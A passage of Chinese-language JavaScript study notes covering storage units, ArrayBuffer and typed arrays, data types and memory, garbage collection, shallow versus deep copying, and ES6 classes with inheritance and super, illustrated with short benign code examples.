* **最大常用单位**：目前是尧字节（Yottabyte，YB），但实际应用中常见最大单位是**TB**或PB

## 存储单位换算表

| 单位名称 | 英文简称 | 换算关系           | 以字节为基准 |
| -------- | -------- | ------------------ | ------------ |
| 位       | bit (b)  | 1 bit = 0.125 字节 | 1/8 字节     |
| 字节     | Byte (B) | 1 Byte = 8 bits    | 1 字节       |
| 千字节   | KB       | 1 KB = 1024 Bytes  | 2¹⁰ 字节     |
| 兆字节   | MB       | 1 MB = 1024 KB     | 2²⁰ 字节     |
| 吉字节   | GB       | 1 GB = 1024 MB     | 2³⁰ 字节     |
| 太字节   | TB       | 1 TB = 1024 GB     | 2⁴⁰ 字节     |
| 拍字节   | PB       | 1 PB = 1024 TB     | 2⁵⁰ 字节     |
| 艾字节   | EB       | 1 EB = 1024 PB     | 2⁶⁰ 字节     |
| 泽字节   | ZB       | 1 ZB = 1024 EB     | 2⁷⁰ 字节     |
| 尧字节   | YB       | 1 YB = 1024 ZB     | 2⁸⁰ 字节     |

## 快速换算指南

1. **相邻单位换算**：乘以或除以1024

   * 1 GB = 1024 MB
   * 1 MB = 1024 KB
   * 以此类推

2. **非相邻单位换算**：使用2的幂次方

   * 1 GB = 1024³ B = 1,073,741,824 字节
   * 1 TB = 1024⁴ B = 1,099,511,627,776 字节

3. **位与字节换算**：

   * 1 Byte = 8 bits
   * 1 KB = 8192 bits (1024×8)

# ArrayBuffer

`ArrayBuffer` 是 JavaScript 中用于表示**原始二进制数据缓冲区**的低级对象。它是处理二进制数据的基础，常用于文件操作、网络通信、图像处理等场景。

`ArrayBuffer`对象、`TypedArray`视图和`DataView`视图是 JavaScript 操作二进制数据的一个接口。

它们都是以数组的语法处理二进制数据，所以统称为二进制数组。

这个接口的原始设计目的，与 WebGL 项目有关。所谓 WebGL，就是指浏览器与显卡之间的通信接口，为了满足 JavaScript 与显卡之间大量的、实时的数据交换，它们之间的数据通信必须是二进制的，而不能是传统的文本格式。

文本格式传递一个 32 位整数，两端的 JavaScript 脚本与显卡都要进行格式转化，将非常耗时。这时要是存在一种机制，可以像 C 语言那样，**直接操作字节**，将 4 个字节的 32 位整数，以二进制形式原封不动地送入显卡，脚本的性能就会大幅提升。

二进制数组就是在这种背景下诞生的。它很像 C 语言的数组，**允许开发者以数组下标的形式，直接操作内存**，大大增强了 JavaScript 处理二进制数据的能力，使得开发者有可能通过 JavaScript 与操作系统的原生接口进行二进制通信。

二进制数组由三类对象组成：

**（1）`ArrayBuffer`对象**：代表内存之中的一段二进制数据，可以通过“视图”进行操作。“视图”部署了数组接口，这意味着，可以用数组的方法操作内存。

**（2）`TypedArray`视图**：共包括 9 种类型的视图，比如`Uint8Array`（无符号 8 位整数）数组视图, `Int16Array`（16 位整数）数组视图, `Float32Array`（32 位浮点数）数组视图等等。

**（3）`DataView`视图**：可以自定义复合格式的视图，比如第一个字节是 Uint8（无符号 8 位整数）、第二、三个字节是 Int16（16 位整数）、第四个字节开始是 Float32（32 位浮点数）等等，此外还可以自定义字节序。

简单说，`ArrayBuffer`对象代表原始的二进制数据，`TypedArray`视图用来读写简单类型的二进制数据，`DataView`视图用来读写复杂类型的二进制数据。

`TypedArray`视图支持的数据类型一共有 9 种（`DataView`视图支持除`Uint8C`以外的其他 8 种）。

| 数据类型 | 字节长度 | 含义                             | 对应的 C 语言类型 |
| -------- | -------- | -------------------------------- | ----------------- |
| Int8     | 1        | 8 位带符号整数                   | signed char       |
| Uint8    | 1        | 8 位不带符号整数                 | unsigned char     |
| Uint8C   | 1        | 8 位不带符号整数（自动过滤溢出） | unsigned char     |
| Int16    | 2        | 16 位带符号整数                  | short             |
| Uint16   | 2        | 16 位不带符号整数                | unsigned short    |
| Int32    | 4        | 32 位带符号整数                  | int               |
| Uint32   | 4        | 32 位不带符号的整数              | unsigned int      |
| Float32  | 4        | 32 位浮点数                      | float             |
| Float64  | 8        | 64 位浮点数                      | double            |

**注意**，二进制数组并不是真正的数组，而是类似数组的对象。

很多浏览器操作的 API，用到了二进制数组操作二进制数据，下面是其中的几个。

* [Canvas](#canvas)
* [Fetch API](#fetch-api)
* [File API](#file-api)
* [WebSockets](#websocket)
* [XMLHttpRequest](#ajax)

## ArrayBuffer 对象

### 概述

`ArrayBuffer`对象代表储存二进制数据的一段内存，它不能直接读写，只能通过视图（`TypedArray`视图和`DataView`视图)来读写，视图的作用是以指定格式解读二进制数据。

`ArrayBuffer`也是一个构造函数，可以分配一段可以存放数据的连续内存区域。

```JS
const buf = new ArrayBuffer(32);
```

上面代码生成了一段 32 字节的内存区域，每个字节的值默认都是 0。可以看到，`ArrayBuffer`构造函数的参数是所需要的内存大小（单位字节）。

为了读写这段内容，需要为它指定视图。`DataView`视图的创建，需要提供`ArrayBuffer`对象实例作为参数。

```js
const buf = new ArrayBuffer(32);
const dataView = new DataView(buf);
dataView.getUint8(0) // 0
```

上面代码对一段 32 字节的内存，建立`DataView`视图，然后以不带符号的 8 位整数格式，从头读取 8 位二进制数据，结果得到 0，因为原始内存的`ArrayBuffer`对象，默认所有位都是 0。

另一种`TypedArray`视图，与`DataView`视图的一个区别是，它不是一个构造函数，而是一组构造函数，代表不同的数据格式。

```js
const buffer = new ArrayBuffer(12);

const x1 = new Int32Array(buffer);
x1[0] = 1;
const x2 = new Uint8Array(buffer);
x2[0]  = 2;

x1[0] // 2
```

上面代码对同一段内存，分别建立两种视图：32 位带符号整数（`Int32Array`构造函数）和 8 位不带符号整数（`Uint8Array`构造函数）。**由于两个视图对应的是同一段内存，一个视图修改底层内存，会影响到另一个视图。**

`TypedArray`视图的构造函数，除了接受`ArrayBuffer`实例作为参数，**还可以接受普通数组作为参数，直接分配内存生成底层的`ArrayBuffer`实例，并同时完成对这段内存的赋值。**

```js
const typedArray = new Uint8Array([0,1,2]);
typedArray.length // 3

typedArray[0] = 5;
typedArray // [5, 1, 2]
```

上面代码使用`TypedArray`视图的`Uint8Array`构造函数，新建一个不带符号的 8 位整数视图。可以看到，`Uint8Array`直接使用普通数组作为参数，对底层内存的赋值同时完成。

### ArrayBuffer.prototype.byteLength

`ArrayBuffer`实例的`byteLength`属性，返回所分配的内存区域的字节长度。

```js
const buffer = new ArrayBuffer(32);
buffer.byteLength
// 32
```

如果要分配的内存区域很大，有可能分配失败（因为没有那么多的连续空余内存），所以有必要检查是否分配成功。

```js
if (buffer.byteLength === n) {
  // 成功
} else {
  // 失败
}
```

### ArrayBuffer.prototype.slice()

`ArrayBuffer`实例有一个`slice`方法，允许将内存区域的一部分，拷贝生成一个新的`ArrayBuffer`对象。

```js
const buffer = new ArrayBuffer(8);
const newBuffer = buffer.slice(0, 3);
```

上面代码拷贝`buffer`对象的前 3 个字节（从 0 开始，到第 3 个字节前面结束），生成一个新的`ArrayBuffer`对象。`slice`方法其实包含两步，第一步是先分配一段新内存，第二步是将原来那个`ArrayBuffer`对象拷贝过去。

`slice`方法接受两个参数，第一个参数表示拷贝开始的字节序号（含该字节），第二个参数表示拷贝截止的字节序号（不含该字节）。如果省略第二个参数，则默认到原`ArrayBuffer`对象的结尾。

除了`slice`方法，`ArrayBuffer`对象不提供任何直接读写内存的方法，只允许在其上方建立视图，然后通过视图读写。

### ArrayBuffer.isView()

---

---
url: /js/utv1ehij/index.md
---
# 数据类型
## 数据类型

`JavaScript` 中的数据类型分为基本数据类型和引用数据类型

最新的 ECMAScript 2025 标准，JavaScript 中共定义了 **8 种** 数据类型。这些类型可以清晰地划分为两大类：**原始类型**（Primitive Types）和**对象类型**（Object Type）

| 类别         | 类型名称      | 简要说明                                                     | 示例                         |
| ------------ | ------------- | ------------------------------------------------------------ | ---------------------------- |
| **原始类型** | **String**    | 表示文本数据      | `"hello"`                    |
|              | **Number**    | 表示整数和浮点数  | `42`, `3.14`                 |
|              | **Boolean**   | 表示逻辑值，仅 `true` 或 `false` | `true`, `false`              |
|              | **Undefined** | 表示变量已声明但未赋值 | `let a; // a 为 undefined`   |
|              | **Null**      | 表示一个空值或不存在的对象 | `let a = null;`              |
|              | **Symbol**    | 表示唯一的、不可变的值，常用于对象属性的标识符（ES6新增） | `Symbol('id')`               |
|              | **BigInt**    | 表示任意精度的整数（ES2020新增） | `123n`                       |
| **对象类型** | **Object**    | 各种数据结构的集合，如普通对象、数组、函数、日期等 | `{name: "Alice"}`, `[1,2,3]` |

**值有类型，变量无类型**：JavaScript 是动态类型语言。**变量**本身没有类型，它只是容器；而变量中存储的**值**才有类型。同一个变量在不同时刻可以被赋予不同类型的值

**`typeof` 操作符的“陷阱”**：使用 `typeof` 检测类型时，有两个著名的特殊情况需要注意

* `typeof null` 的返回值是 `"object"`，这是语言遗留的 Bug。正确判断 `null` 需要组合条件：`(!a && typeof a === "object")`
* `typeof function(){}` 的返回值是 `"function"`，尽管函数本质上是特殊的对象。

**存储方式的差异**：原始类型的值直接存储在**栈内存**中，而对象类型的内容存储在**堆内存**中，变量中保存的是其**引用地址**。这导致它们在赋值和比较时的行为完全不同。

| 特性         | 原始类型                                                     | 对象类型                                                     |
| ------------ | ------------------------------------------------------------ | ------------------------------------------------------------ |
| **存储方式** | 栈内存，直接存值 | 堆内存，变量存引用地址 |
| **可变性**   | **不可变**，修改会创建新值 | **可变**，可以直接修改其属性或内容 |
| **比较方式** | 比较**值**是否相等 | 比较**引用地址**是否指向同一个对象 |
| **传递方式** | 按值传递（传递值的副本） | 按引用传递（传递地址的副本） |

**补充**：在 JavaScript 中，“对象类型”和“引用类型”这两个术语是**等价的**，它们描述的是同一类数据类型，只是从不同角度进行命名：

* **对象类型**：是从**值的表现形式和构造方式**角度命名的。
* **引用类型**：是从**内存存储和访问机制**角度命名的。

> \[!NOTE]
>
> * 基本类型仅保存原始值，不存在属性和方法
> * 保存基本类型的变量是 **按值访问** 的，操作的就是存储在变量中的实际值
> * 复制基本类型时会创建该值的第二个副本 (独立使用，互不干扰)

### 深入理解

```bash
let obj = { name: "Alice", age: 30 };
```

这个对象在内存中的存储结构是这样的：

```js
栈内存 (Stack)
┌───────────┬─────────────┐
│ 变量名     │ 存储的值      │
├───────────┼─────────────┤
│ obj       │ 🔗0x1000    │ → 指向堆内存地址的引用
└───────────┴─────────────┘

堆内存 (Heap)  
地址 0x1000
┌─────────────────────────┐
│ {                       │
│   name: 🔗0x2000        │ → 指向字符串"Alice"的地址
│   age: 30               │ ← 原始值直接存储
│ }                       │
└─────────────────────────┘

地址 0x2000
┌─────────────────────────┐
│ "Alice" (字符串原始值)    │
└─────────────────────────┘
```

**关键点**：

**对象本身**（`{name: "Alice", age: 30}`）存储在**堆内存**中

**变量 `obj`** 在栈内存中存储的是**对象在堆内存中的地址引用**

**对象的属性值**：

* 如果是原始值（如 `age: 30`），直接存储在对象内部
* 如果是另一个对象（如 `name: "Alice"`），存储的是指向那个对象的引用地址

当一个对象**没有任何引用指向它**时，它就变成了"垃圾"，会被 JavaScript 引擎的**垃圾回收器**自动回收。

```js
// 示例1：对象失去所有引用
let obj = { data: "important" };
obj = null; // 原来的 {data: "important"} 对象现在无引用，会被GC回收

// 示例2：更复杂的情况
function createUser() {
    let user = { name: "Bob" };
    return user;
}

let userRef = createUser();
// 函数执行完后，局部变量user被销毁，但对象{name: "Bob"}仍有userRef引用，不会被回收

userRef = null; // 现在 {name: "Bob"} 无引用，等待GC回收
```

**GC 的回收时机**

垃圾回收不是立即发生的，而是在特定时机由引擎自动执行：

1. **分配内存时**：当需要分配新内存但内存不足时
2. **周期性执行**：引擎在空闲时自动运行GC
3. **达到内存阈值**：当内存使用达到某个上限时

**现代JavaScript引擎主要使用两种GC算法：**

1. 引用计数法（早期，现在较少使用）

```js
// 循环引用问题
let objA = { friend: null };
let objB = { friend: null };

objA.friend = objB; // objB 被引用次数: 2
objB.friend = objA; // objA 被引用次数: 2

objA = null;
objB = null; 
// 虽然外部无引用，但彼此仍引用，引用计数不为0，导致内存泄漏
```

2. 标记-清除法（现代主流）

```js
// GC从"根"对象（全局变量、当前执行上下文等）开始
// 标记所有可达的对象，然后清除不可达的对象

let obj1 = { data: "value1" };
let obj2 = { data: "value2" };

obj1.next = obj2;
obj2.prev = obj1;

obj1 = null;
obj2 = null;

// 标记-清除能识别这种循环引用，因为从根对象无法到达它们，都会被回收
```

现代GC优化策略

* **分代收集**：对象分为"新生代"（新创建）和"老生代"（存活时间长）
* **增量标记**：将GC工作分成小片段执行，避免阻塞主线程
* **空闲时收集**：在浏览器空闲时段执行GC

**实践建议**

```js
// 及时释放不再需要的大对象引用
function processLargeData() {
    let largeData = fetchHugeData(); // 获取大量数据
    let result = processData(largeData);
    
    // 处理完成后立即释放引用
    largeData = null; // 帮助GC尽快回收
    
    return result;
}

// 避免意外的全局变量引用
function createCache() {
    // 错误：全局变量，永远不会被回收
    cache = { /* 大量数据 */ };
    
    // 正确：局部变量，函数执行完可被回收
    let localCache = { /* 数据 */ };
    return localCache;
}
```

**总结**：对象类型通过引用访问，无引用时会被GC回收，只是具体的回收时机和算法由引擎智能管理。

### 浅拷贝和深拷贝

```js
let original = { name: "Alice", hobbies: ["reading", "coding"] };

// 问题：直接赋值只是复制引用
let copy = original;
copy.name = "Bob";
console.log(original.name); // "Bob" - 原对象也被修改了！

// 这显然不是我们想要的效果！
```

#### 浅拷贝（Shallow Copy）

**只拷贝第一层属性**，如果属性值是对象，则拷贝的是引用地址。

```js
// 浅拷贝方法
let original = { 
    name: "Alice", 
    hobbies: ["reading", "coding"], // 引用类型
    age: 25                         // 原始类型
};

// 方法1: Object.assign()
let shallow1 = Object.assign({}, original);

// 方法2: 展开运算符
let shallow2 = { ...original };

// 方法3: 数组的浅拷贝
let arr = [1, 2, { name: "test" }];
let arrShallow = [...arr]; // 或 arr.slice()

// 测试浅拷贝的效果
shallow1.name = "Bob";           // 修改原始类型 - 不影响原对象
shallow1.hobbies.push("gaming"); // 修改引用类型 - 原对象也被影响！

console.log(original.hobbies); // ["reading", "coding", "gaming"] - 被影响了！
```

#### 深拷贝（Deep Copy）

**递归拷贝所有层级**，创建完全独立的对象副本。

```js
let original = {
    name: "Alice",
    hobbies: ["reading", "coding"],
    address: {
        city: "Beijing",
        street: { no: 123, name: "Main St" }
    }
};

// 方法1: JSON方法（最简单但有局限性）
let deep1 = JSON.parse(JSON.stringify(original));

// 方法2: 手动递归实现
function deepClone(obj) {
    if (obj === null || typeof obj !== "object") return obj;
    if (obj instanceof Date) return new Date(obj);
    if (obj instanceof Array) return obj.map(item => deepClone(item));
    
    let clone = {};
    for (let key in obj) {
        if (obj.hasOwnProperty(key)) {
            clone[key] = deepClone(obj[key]);
        }
    }
    return clone;
}

let deep2 = deepClone(original);

// 方法3: 使用现成库（推荐用于生产环境）
// let deep3 = _.cloneDeep(original); // Lodash
// let deep4 = structuredClone(original); // 现代浏览器原生API

// 测试深拷贝的效果
deep1.hobbies.push("gaming");
deep1.address.city = "Shanghai";

console.log(original.hobbies); // ["reading", "coding"] - 不受影响！
console.log(original.address.city); // "Beijing" - 不受影响！
```

> \[!NOTE]
>
> **总结**
>
> | 特性         | 浅拷贝       | 深拷贝           |
> | ------------ | ------------ | ---------------- |
> | **拷贝层级** | 仅第一层     | 所有层级（递归） |
> | **对象属性** | 拷贝引用地址 | 创建新对象       |
> | **性能**     | 快           | 慢（尤其大对象） |
> | **内存占用** | 少           | 多               |
> | **循环引用** | 无问题       | 需要特殊处理     |
>
> * **浅拷贝**：对象结构简单，没有嵌套对象或数组
> * **深拷贝**：对象结构复杂，需要完全独立的副本
> * **生产环境**：推荐使用成熟的库（Lodash的`_.cloneDeep`）或现代浏览器的`structuredClone`
>
> ```js
> // 现代浏览器的原生深拷贝API
> if (typeof structuredClone === 'function') {
>     let deepCopy = structuredClone(original); // 处理大部分场景
> }
> ```

#### 深拷贝的注意事项

```js
// 1. JSON方法的局限性
let obj = {
    date: new Date(),
    func: function() { return "hello"; },
    undefined: undefined,
    infinity: Infinity,
    regex: /pattern/gi
};

let jsonCopy = JSON.parse(JSON.stringify(obj));
console.log(jsonCopy);
// {
//   date: "2023-10-01T12:00:00.000Z", // Date对象变字符串
//   infinity: null,                    // Infinity变null
//   regex: {}                          // 正则变空对象
//   // func 和 undefined 属性丢失！
// }

// 2. 循环引用问题
let a = { name: "A" };
let b = { name: "B" };
a.child = b;
b.parent = a; // 循环引用

// JSON.stringify(a); // 报错: Converting circular structure to JSON
// deepClone(a);      // 栈溢出: Maximum call stack size exceeded
```

---

---
url: /js/vu7fzj47/index.md
---
# Class
## 概述

在没有`class`类之前，生成实例对象的方式是通过构造函数来实现的。

```javascript
function Point(x, y) {
  this.x = x;
  this.y = y;
}

Point.prototype.toString = function () {
  return '(' + this.x + ', ' + this.y + ')';
};

var p = new Point(1, 2);

p.toString(); // "(1, 2)"
```

在上面的代码中，`Point`函数是一个构造函数，用于创建一个新的点对象。通过`new`关键字调用它时，会创建一个新的对象，并将其`__proto__`指向`Point.prototype`，从而可以访问到`toString`方法。

> \[!tip] 补充
> 实例对象有 `__proto__`，构造函数有 `prototype`，`__proto__` 指向构造函数的 `prototype`，所以实例才能继承原型上的方法，因为当你在实例上调用方法时，JavaScript 会先查找实例对象本身是否有该方法，如果没有，就会查找其 `__proto__`，即构造函数的 `prototype` 上是否有该方法。

在ES6中引入了`class`语法，使得创建类和继承变得更加直观和易于理解。`class`实际上是对原有基于原型的继承方式的语法糖。

上面的代码可以用`class`语法重写如下：

```javascript
class Point {
  constructor(x, y) {
    this.x = x;
    this.y = y;
  }

  toString() {
    return '(' + this.x + ', ' + this.y + ')';
  }
}

const p = new Point(1, 2);

p.toString(); // "(1, 2)"
```

上面代码中，`constructor`方法是类的构造函数，`this`指向实例对象用于初始化实例对象的属性。`toString`方法是类的实例方法，可以直接在实例上调用。

构造函数的`prototype`属性在类中继续存在，因为事实上，类的所有方法都是定义在`prototype`上的。

```javascript
class Point {
  constructor() {
    // ...
  }

  toString() {
    // ...
  }

  toValue() {
    // ...
  }
}

// 等同于

Point.prototype = {
  constructor() {},
  toString() {},
  toValue() {},
};
```

因此，在类的实例上面调用方法，其实就是调用原型上的方法。

```javascript
class B {}
const b = new B();

b.constructor === B.prototype.constructor // true
```

由于类的方法都定义在`prototype`上，所以类的方法可以直接在`prototype`上添加，Object.assign()方法可以很方便地一次向类添加多个方法。

```javascript
class Point {
  constructor(){
    // ...
  }
}

Object.assign(Point.prototype, {
  toString(){},
  toValue(){}
});
```

`prototype`对象的`constructor`属性，直接指向**类**的本身。

```javascript
Point.prototype.constructor === Point // true
```

类的内部所有定义的方法，都是不可枚举的，这意味着它们不会出现在`for...in`循环中，也不会被`Object.keys()`。

## constructor()

`constructor()`方法是类的默认方法，通过`new`关键字调用类时，默认会调用这个方法来创建实例对象。

一个类必须有一个`constructor()`方法，如果没有显式定义，JavaScript会自动创建一个空的`constructor()`方法。

`constructor()`方法默认返回`this`，即实例对象。如果需要返回其他对象，可以在`constructor()`方法中显式地返回该对象。

```javascript
class Foo {
  constructor() {
    return Object.create(null);
  }
}

new Foo() instanceof Foo
// false
```

## 类的实例

类的属性和方法除非显示的定义在`this`对象上，否则都是定义在原型对象上，即定义在`prototype`上。

```javascript
class Point {
  constructor(x, y) {
    this.x = x;
    this.y = y;
  }

  toString() {
    return '(' + this.x + ', ' + this.y + ')';
  }
}

var point = new Point(2, 3);

point.toString() // (2, 3)

point.hasOwnProperty('x') // true
point.hasOwnProperty('y') // true
point.hasOwnProperty('toString') // false
point.__proto__.hasOwnProperty('toString') // true
```

可以开出，上面的`x`和`y`都是实例对象`point`自身的属性，因为定义在`this`对象上，所以`point.hasOwnProperty('x')`和`point.hasOwnProperty('y')`都返回`true`。

而`toString`方法定义在原型对象上，所以`point.hasOwnProperty('toString')`返回`false`，但是可以通过`point.__proto__.hasOwnProperty('toString')`访问到。

类的所有实例都共享同一个原型对象。

```javascript
let p1 = new Point(1,2);
let p2 = new PPoint(3,4);
p1.__proto__ === p2.__proto__ // true
```

上面的代码中，`p1`和`p2`都是`Point`类的实例，它们的原型对象是同一个，即`Point.prototype`

这就意味着，可以通过实例的`__proto__`属性为类添加方法。

> \[!tip] 补充
> `__proto__`并不是语言本身的属性，而是浏览器实现的一个属性，用于访问对象的原型。它是一个非标准的属性，虽然在大多数浏览器中都可以使用，但不建议在生产代码中使用。

在生成环境中，建议使用`Object.getPrototypeOf()`方法来获取对象的原型，然后再为原型添加方法或属性。

```javascript
var p1 = new Point(2,3);
var p2 = new Point(3,2);

p1.__proto__.printName = function () { return 'Oops' };

p1.printName() // "Oops"
p2.printName() // "Oops"

var p3 = new Point(4,2);
p3.printName() // "Oops"
```

使用`__proto__`属性改写原型，必须注意，这样做会影响所有实例对象，因为它们共享同一个原型对象。

## 实例属性的新写法

ES2022为类的实例属性提供了一种新的写法，实例对象现在除了可以定义在`constructor()`方法中的`this`对象上，还可以定义在类内部的最顶层。

**原来的写法**

```javascript
// 原来的写法
class IncreasingCounter {
  constructor() {
    this._count = 0;
  }
  get value() {
    console.log('Getting the current value!');
    return this._count;
  }
  increment() {
    this._count++;
  }
}
```

**新的写法**

```javascript
class IncreasingCounter {
  _count = 0;
  get value() {
    console.log('Getting the current value!');
    return this._count;
  }
  increment() {
    this._count++;
  }
}
```

上面代码中，实例属性`_count`与取值函数`value`和方法`increment`处于同一层级。这时候，就不需要在实例属性前面加上`this`了。

**注意**：新写法定义的属性是实例对象自身的属性，而不是定义在实例对象的原型（`__proto__`）上面的。

```javascript
class IncreasingCounter {
  _count = 0;
  get value() {
    console.log('Getting the current value!');
    return this._count;
  }
  increment() {
    this._count++;
  }
}
const counter = new IncreasingCounter();

IncreasingCounter.prototype.hasOwnProperty('_count') // false
console.log(counter.hasOwnProperty('_count')) // true
```

这种写法的好处是，所有的实例对象自身的属性都可以在类的最顶层定义，而不需要在`constructor()`方法中定义，这样可以使代码更加简洁和易读。

## Getters和Setters

在类的内部，可以使用`get`和`set`关键字定义访问器属性（Getters和Setters），对某个属性进行拦截。

```javascript
class MyClass {
  constructor() {
    // ...
  }
  get prop() {
    return 'getter';
  }
  set prop(value) {
    console.log('setter: '+value);
  }
}

let inst = new MyClass();

inst.prop = 123;
// setter: 123

inst.prop
// 'getter'
```

存值函数和取值函数实际上是设置在属性的Descriptor（属性描述对象）对象上的。

```javascript
class CustomHTMLElement {
  constructor(element) {
    this.element = element;
  }

  get html() {
    return this.element.innerHTML;
  }

  set html(value) {
    this.element.innerHTML = value;
  }
}

var descriptor = Object.getOwnPropertyDescriptor(
  CustomHTMLElement.prototype, "html"
);

"get" in descriptor  // true
"set" in descriptor  // true
```

上面的代码中，可以看出存值函数和取值函数是定义在html属性的描述对象上面。

## 属性表达式

类的属性名可以使用表达式来定义，这样可以动态地生成属性名。

```javascript

let mehodName = 'toString';
class Point {
  constructor(x, y) {
    this.x = x;
    this.y = y;
  }

  [mehodName]() {
    return '(' + this.x + ', ' + this.y + ')';
  }
}
const p = new Point(1, 2);
p.toString(); // "(1, 2)"
```

上面的代码中，`mehodName`变量的值是`toString`，所以类的实例方法名也是`toString`。

## Class 表达式

与函数一样，类也可以使用表达式的形式定义。

```javascript
const MyClass = class Me {
  getClassName() {
    return Me.name;
  }
};
```

这个类的名字是`Me`，但是`Me`只在类的内部可用，外部无法访问，类的外部应该使用`myClass`变量来访问这个类。

如果类的内部没用到的话，可以省略`Me`。

采用 Class 表达式，可以写出立即执行的 Class。

```javascript
let person = new class {
  constructor(name) {
    this.name = name;
  }

  sayName() {
    console.log(this.name);
  }
}('张三');

person.sayName(); // "张三"
```

## 静态方法

类相当于实例的原型，所有在类中定义的方法，都会被实例继承。

如果在一个方法前，加上static关键字，就表示该方法不会被实例继承，而是直接通过类来调用，这就称为“静态方法”。

```javascript
class Foo {
  static classMethod() {
    return 'hello';
  }
}

Foo.classMethod() // 'hello'

var foo = new Foo();
foo.classMethod()
// TypeError: foo.classMethod is not a function
```

**注意**，如果静态方法包含this关键字，这个this指的是类，而不是实例。

静态方法可以与非静态方法重名。

父类的静态方法，可以被子类继承。

```javascript
class Foo {
  static classMethod() {
    return 'hello';
  }
}

class Bar extends Foo {
}

Bar.classMethod() // 'hello'
```

静态方法也是可以从super对象上调用的。

```javascript
class Foo {
  static classMethod() {
    return 'hello';
  }
}

class Bar extends Foo {
  static classMethod() {
    return super.classMethod() + ', too';
  }
}

Bar.classMethod() // "hello, too"
```

子类的静态方法中的`super`关键字指向父类，但是非静态方法中的`super`关键字指向父类的原型对象。

## 静态属性

静态属性指的是 Class 本身的属性，即Class.propName，而不是定义在实例对象（this）上的属性。

```javascript
class Foo {
}

Foo.prop = 1;
Foo.prop // 1
```

目前，只有这种写法可行，因为 ES6 明确规定，Class 内部只有静态方法，没有静态属性。现在有一个提案提供了类的静态属性，写法是在实例属性的前面，加上static关键字。

```javascript
// 老写法
class Foo {
  // ...
}
Foo.prop = 1;

// 新写法
class Foo {
  static prop = 1;
}
```

这种写法的好处是，可以在类的内部定义静态属性，而不需要在类的外部定义。
新写法是显式声明（declarative），而不是赋值处理，语义更好。

## 私有方法和私有属性

私有方法和私有属性，是只能在类的内部访问的方法和属性，外部不能访问。

早期没有私有方法和私有属性的概念，通常是通过在方法或属性名前加上下划线（\_）来表示该方法或属性是私有的，但是这只是一种约定，并不能真正实现私有，因为在外部仍然可以访问。

ES2022引入了私有方法和私有属性的概念，使用`#`符号来定义。

```javascript
class IncreasingCounter {
  #count = 0;
  get value() {
    console.log('Getting the current value!');
    return this.#count;
  }
  increment() {
    this.#count++;
  }
}
```

上面的代码中，`#count`是一个私有属性，只有在类的内部可以访问，外部无法访问。

**注意：** 在Chrome开发者工具中，可以读取私有属性并且不会报错。

私有属性和私有方法前面，也可以加上static关键字，表示这是一个静态的私有属性或私有方法。

## 继承

Class 可以通过extends关键字实现继承，让子类继承父类的属性和方法。extends 的写法比 ES5 的原型链继承，要清晰和方便很多。

```javascript
class Point {
}

class ColorPoint extends Point {
}
```

上面的代码中，`ColorPoint`类继承了`Point`类的所有属性和方法。

super在普通方法中表示父类的构造函数，用来新建一个父类的实例对象。

ES6 规定，子类必须在constructor()方法中调用super()，否则就会报错。这是因为子类自己的this对象，必须先通过父类的构造函数完成塑造，得到与父类同样的实例属性和方法，然后再对其进行加工，添加子类自己的实例属性和方法。如果不调用super()方法，子类就得不到自己的this对象。

关于为什么子类必须调用super()，原因就在于 ES6 的继承机制，与 ES5 完全不同。ES5 的继承机制，是先创造一个独立的子类的实例对象，然后再将父类的方法添加到这个对象上面，即“实例在前，继承在后”。ES6 的继承机制，则是先将父类的属性和方法，加到一个空的对象上面，然后再将该对象作为子类的实例，即“继承在前，实例在后”。这就是为什么 ES6 的继承必须先调用super()方法，因为这一步会生成一个继承父类的this对象，没有这一步就无法继承父类。

**注意**，这意味着新建子类实例时，父类的构造函数必定会先运行一次。

在子类的构造函数中，只有调用super()之后，才可以使用this关键字，否则会报错。这是因为子类实例的构建，必须先完成父类的继承，只有super()方法才能让子类实例继承父类。

如果子类没有定义constructor()方法，这个方法会默认添加，并且里面会调用super()。也就是说，不管有没有显式定义，任何一个子类都有constructor()方法。

```javascript
class ColorPoint extends Point {
}

// 等同于
class ColorPoint extends Point {
  constructor(...args) {
    super(...args);
  }
}
```

## 私有属性和私有方法的继承

父类所有的属性和方法，都会被子类继承，除了私有的属性和方法。

子类无法继承父类的私有属性，或者说，私有属性只能在定义它的 class 里面使用。

```javascript
class Foo {
  #p = 1;
  #m() {
    console.log('hello');
  }
}

class Bar extends Foo {
  constructor() {
    super();
    console.log(this.#p); // 报错
    this.#m(); // 报错
  }
}
```

## 静态属性和静态方法的继承

父类的静态属性和静态方法，也会被子类继承。

注意，静态属性是通过浅拷贝实现继承的，浅拷贝只会拷贝对象的内存地址，所以如果父类的静态属性是一个对象，那么子类继承的静态属性和父类的静态属性指向同一个对象。

## Object.getPrototypeOf()

`Object.getPrototypeOf(obj)` 返回对象 `obj` 的 `[[Prototype]]`（也就是 `__proto__`）。

* 当 `obj` 是一个 **构造函数（子类）** 时，它返回其 **父类构造函数**；
* 当 `obj` 是一个 **实例对象** 时，它返回该实例的 **原型对象（即构造函数的 `.prototype`）**。

```javascript
class Point { /*...*/ }

class ColorPoint extends Point { /*...*/ }

Object.getPrototypeOf(ColorPoint) === Point
// true
```

## super 关键字

super这个关键字，既可以当作函数使用，也可以当作对象使用。在这两种情况下，它的用法完全不同。

第一种情况，super作为函数调用时，代表父类的构造函数。ES6 要求，子类的构造函数必须执行一次super()函数。

调用super()的作用是形成子类的this对象，把父类的实例属性和方法放到这个this对象上面。子类在调用super()之前，是没有this对象的，任何对this的操作都要放在super()的后面。

注意，这里的super虽然代表了父类的构造函数，但是因为返回的是子类的this（即子类的实例对象），所以super内部的this代表子类的实例，而不是父类的实例，这里的super()相当于A.prototype.constructor.call(this)（在子类的this上运行父类的构造函数）。

```javascript
class A {
  constructor() {
    console.log(new.target.name);
  }
}
class B extends A {
  constructor() {
    super();
  }
}
new A() // A
new B() // B
```

上面示例中，new.target指向当前正在执行的函数。可以看到，在super()执行时（new B()），它指向的是子类B的构造函数，而不是父类A的构造函数。也就是说，super()内部的this指向的是B。

作为函数时，super()只能用在子类的构造函数之中，用在其他地方就会报错。

第二种情况，super作为对象时，在普通方法中，指向父类的原型对象；在静态方法中，指向父类。

```javascript
class A {
  p() {
    return 2;
  }
}

class B extends A {
  constructor() {
    super();
    console.log(super.p()); // 2
  }
}

let b = new B();
```

上面代码中，子类B当中的super.p()，就是将super当作一个对象使用。这时，super在普通方法之中，指向A.prototype，所以super.p()就相当于A.prototype.p()。

这里需要注意，由于super指向父类的原型对象，所以定义在父类实例上的方法或属性，是无法通过super调用的。

```javascript
class A {
  constructor() {
    this.p = 2;
  }
}

class B extends A {
  get m() {
    return super.p;
  }
}

let b = new B();
